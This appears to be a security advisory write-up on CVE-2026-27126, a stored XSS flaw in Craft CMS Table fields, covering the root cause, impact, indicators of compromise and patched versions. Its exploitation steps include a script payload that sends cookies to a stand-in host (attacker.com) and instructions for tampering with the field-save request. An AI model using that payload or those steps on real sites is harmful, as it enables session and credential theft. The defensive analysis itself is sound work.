CVE-2026-27126: 
PHP vulnerability analysis and mitigation

CVE-2026-27126 is a stored Cross-Site Scripting (XSS) vulnerability in Craft CMS affecting the editableTable.twig component when using the html column type. It impacts Craft CMS versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22. The vulnerability was published on February 23, 2026, with patches released the same day. It carries a CVSS v3.1 base score of 4.8 (Medium) and a CVSS v4.0 base score of 5.9 (Medium) (Github Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the editableTable.twig component fails to sanitize input when the html column type is used in a Table field. The html column type is not exposed in the UI dropdown but can be set by intercepting and modifying the field-save HTTP request (e.g., changing the types[craft-fields-Table][columns][col3][type] parameter from singleline to html). The fix enforces server-side validation in src/fields/Table.php to ensure column types are restricted to a defined allowlist, rejecting unsupported types like html by falling back to singleline (Github Advisory, Patch Commit).

Successful exploitation allows an attacker to inject and persistently store arbitrary JavaScript that executes in the browsers of other users who view any page containing the malicious table field — including other administrators editing the field configuration. The primary impact is on integrity (unauthorized script execution) and limited confidentiality (e.g., session token theft, credential harvesting). Availability is not directly impacted. The scope is changed, meaning the XSS can affect users beyond the attacker's own session (Github Advisory).

Exploitation requires an authenticated administrator account and the non-default allowAdminChanges setting to be enabled in production — a configuration Craft CMS explicitly discourages. No public exploit code or in-the-wild exploitation has been reported. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.012% (2nd percentile), indicating a very low probability of near-term exploitation (Github Advisory).

1. Authenticate as Administrator: Log in to the Craft CMS control panel with an administrator account on an instance where allowAdminChanges is enabled in production.
2. Create a Table Field: Navigate to Settings → Fields and create a new field with Type: Table. Add a column heading and set the Column Type to "Single-line text" (the html type is not available in the UI).
3. Add Malicious Payload: In the Default Values section, add a row containing an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Intercept and Modify the Request: Use a proxy tool such as Burp Suite to intercept the Save Field HTTP request. Modify the types[craft-fields-Table][columns][col3][type] parameter value from singleline to html.
5. Forward the Modified Request: Send the modified request to save the field with the unsanitized html column type and malicious payload stored in the database.
6. Trigger XSS Execution: Assign the field to an object (e.g., user profile fields). Any user — including other administrators — who visits a page rendering the table field will have the malicious JavaScript executed in their browser (Github Advisory).

• Network: Outbound HTTP requests from users' browsers to unexpected external domains shortly after viewing Craft CMS pages containing table fields; potential exfiltration of session cookies or credentials to attacker-controlled servers.
• Logs: Craft CMS access logs showing POST requests to field-save endpoints (e.g., /admin/fields/save-field) with the parameter types[...][type]=html — a value not normally submitted via the UI.
• Database: Table field configurations in the Craft CMS database (fields table) where column type is set to html and default values contain HTML/JavaScript tags or encoded script payloads.
• File System: No file-system artifacts expected, as the payload is stored in the database rather than written to disk.

Craft CMS has released patched versions 4.16.19 and 5.8.23 that enforce server-side validation to restrict column types to a supported allowlist, preventing the html type from being saved. Administrators should upgrade immediately to one of these versions. As an interim measure, ensure allowAdminChanges is set to false in production environments (which is already Craft's recommended security posture), as this prevents the vulnerability from being exploited even on unpatched versions (Github Advisory, Patch Commit).

The vulnerability was reported by security researcher mHe4am and published by Craft CMS maintainer angrybrad via GitHub Security Advisories on February 23, 2026. The advisory was noted on Bluesky by automated CVE tracking accounts. No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified (Github Advisory).